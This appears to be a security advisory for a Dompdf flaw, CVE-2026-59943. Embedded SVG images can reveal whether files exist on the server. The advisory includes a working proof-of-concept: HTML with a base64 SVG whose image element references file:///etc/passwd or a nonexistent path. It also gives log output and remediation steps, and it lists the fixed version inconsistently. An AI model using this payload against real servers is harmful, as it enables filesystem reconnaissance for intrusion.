CVE-2026-59943: Dompdf: Embedded SVG images can leak existence of files and directories within the filesystem
Summary If a malicious actor can supply unrestricted content for rendering by Dompdf they can utilize the SVG rendering functionality to leak filesystem information when rendering PDF files using image references within a data-URI encoded SVG document.
Details Using an <image> element inside a data-URI embedded SVG, an attacker can attempt to embed other files via the href or xlink:href attributes. When processing a file that does not exist (e.g. file:///DOESNOTEXIST), dompdf behaves differently than it does when accessing a file or directory that actually exists on the filesystem.
[Wed May 20 19:49:53 2026] PHP Warning: filegetcontents(file:///DOESNOTEXIST): Failed to open stream: No such file or directory in vendor/dompdf/php-svg-lib/src/Svg/Surface/SurfaceCpdf.php on line 173 [Wed May 20 19:49:53 2026] PHP Notice: getimagesize(): Error reading from /tmp/svgsk9247ela7tm3SiqGyP! in vendor/dompdf/php-svg-lib/src/Svg/Surface/SurfaceCpdf.php on line 196
PoC
First, the attacker renders this HTML document: <html> <head> </head> <body> <img src="data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiIHN0YW5kYWxvbmU9Im5vIj8+Cjxzdmcgd2lkdGg9IjEwMCUiIGhlaWdodD0iMTAwJSIgdmlld0JveD0iMCAwIDEwMCAxMDAiCiAgICAgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj4KICAgIDxpbWFnZSB4bGluazpocmVmPSJmaWxlOi8vL2V0Yy9wYXNzd2QiIHg9IjAiIHk9IjAiIHdpZHRoPSIxMDAiIGhlaWdodD0iMTAwIj4KICAgIDwvc3ZnPgo="> Hello World! </body> </html>
The <img> tag contains the following SVG content: xml <?xml version="1.0" encoding="UTF-8" standalone="no"?> <svg width="100%" height="100%" viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <image xlink:href="file:///etc/passwd" x="0" y="0" width="100" height="100"> </svg>
As expected, the resulting PDF contains a broken image: <img width="621" height="193" alt="image" src="https://github.com/user-attachments/assets/b615fabe-c578-4435-bcb4-e9ad0ac796d2" />
However, when supplying a path to a file or directory that does not exist, for example: xml <?xml version="1.0" encoding="UTF-8" standalone="no"?> <svg width="100%" height="100%" viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <image xlink:href="file:///DOESNOTEXIST" x="0" y="0" width="100" height="100"> </svg>
The resulting PDF is rendered normally, with the image displayed as empty space (since the file did not exist). Additionally, for easier visual inspection, a rendering bug (https://github.com/dompdf/php-svg-lib/issues/142) is used to rotate the "Hello World!" text 180 degrees from the expected position:
<img width="616" height="922" alt="image" src="https://github.com/user-attachments/assets/32f83aa5-8115-4b0f-8ac2-f7b75e2eeaa9" />
Impact By exploiting this vulnerability, an attacker is able to confirm the existence of files and directories located on the backend filesystem.
Other sources
Dompdf is an HTML to PDF converter for PHP. In versions 3.15 and prior, if a malicious actor can supply unrestricted content for rendering by Dompdf they can utilize the SVG rendering functionality to leak filesystem information when rendering PDF files using image references within a data-URI encoded SVG document. Using an <image> element inside a data-URI embedded SVG, an attacker can attempt to embed other files via the href or xlink:href attributes. When processing a file that does not exist (e.g. file:///DOESNOTEXIST), dompdf behaves differently than it does when accessing a file or directory that actually exists on the filesystem. This issue has been fixed in version 3.16.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
composer/dompdf/dompdfto a version that resolves this vulnerability.Fixed in 3.1.6 - Upgrade
Upgrade
dompdfto a version that resolves this vulnerability.Fixed in 3.16 - Compensating control
Ensure Dompdf only renders trusted/sanitized HTML content. If an attacker can supply unrestricted content for rendering, they can use embedded SVG <image> elements (via href or xlink:href in a data-URI SVG) to probe and leak existence of files/directories on the backend filesystem.
Event History
Frequently Asked Questions
What is the severity of CVE-2026-59943?
CVE-2026-59943 has a risk rating of 23, indicating a significant security concern.
How do I fix CVE-2026-59943?
To mitigate CVE-2026-59943, update to the latest version of Dompdf that addresses the vulnerability.
What type of vulnerability is CVE-2026-59943?
CVE-2026-59943 is an information disclosure vulnerability that can leak filesystem information through SVG rendering.
Who is affected by CVE-2026-59943?
Any application using Dompdf to render PDF files with SVG content may be susceptible to CVE-2026-59943.
What can attackers do with CVE-2026-59943?
Attackers can exploit CVE-2026-59943 to leak sensitive filesystem information through specially crafted SVG documents.